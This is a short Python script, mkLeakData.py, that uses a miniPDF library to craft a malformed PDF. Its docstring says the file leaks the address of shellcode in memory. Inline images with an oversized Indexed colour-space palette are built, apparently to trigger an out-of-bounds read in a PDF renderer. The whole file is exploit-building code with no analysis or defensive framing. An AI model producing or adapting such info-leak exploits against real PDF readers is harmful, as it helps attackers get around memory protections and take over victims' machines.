mkLeakData.py

'''
This python generates a pdf that leaks the address of the shellcode in memory.
'''
import os
import zlib
from miniPDF import *

doc= PDFDoc()

#pages
pages = PDFDict()
pages.add("Type", PDFName("Pages"))

#catalog
catalog = PDFDict()
catalog.add("Type", PDFName("Catalog"))
catalog.add("Pages", PDFRef(pages))

#lets add those to doc just for showing up the Ref object.
doc.add([catalog,pages])
#Set the pdf root
doc.setRoot(catalog)


_width=255
_height=5

#Sizes 0x8c 

d = PDFDict()
contents = PDFStream(d, ( '('+ 'D'*(200-0x19-0x10-8) +') ' +
' '.join([
'''q 256 0 0 1 0 %d cm 
BI 
/W 256
/H 1
/BPC 8
'''%i +'''
/CS [ /Indexed /RGB 86 ('''+ 'd'*(200-0x19-0x10-8) +''') ] '''+
'''
ID
\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xffEI
Q
'''
for i in range(_height)])
))
resources = PDFDict()
#resources.add('ProcSet', PDFArray([PDFName('PDF'), PDFName('ImageC'), PDFName('ImageI'), PDFName('ImageB')]))


#The pdf page
page = PDFDict()
page.add('Type', '/Page')
page.add('Parent', PDFRef(pages))
page.add('MediaBox', PDFArray([ 0, 0, _width, _height]))
page.add('Contents', PDFRef(contents))
page.add('Resources', PDFRef(resources))

[doc.add(x) for x in [ contents, resources, page]]
pages.add('Count', PDFNum(1))
pages.add('Kids',PDFArray([PDFRef(page)]))

print doc.__str__(),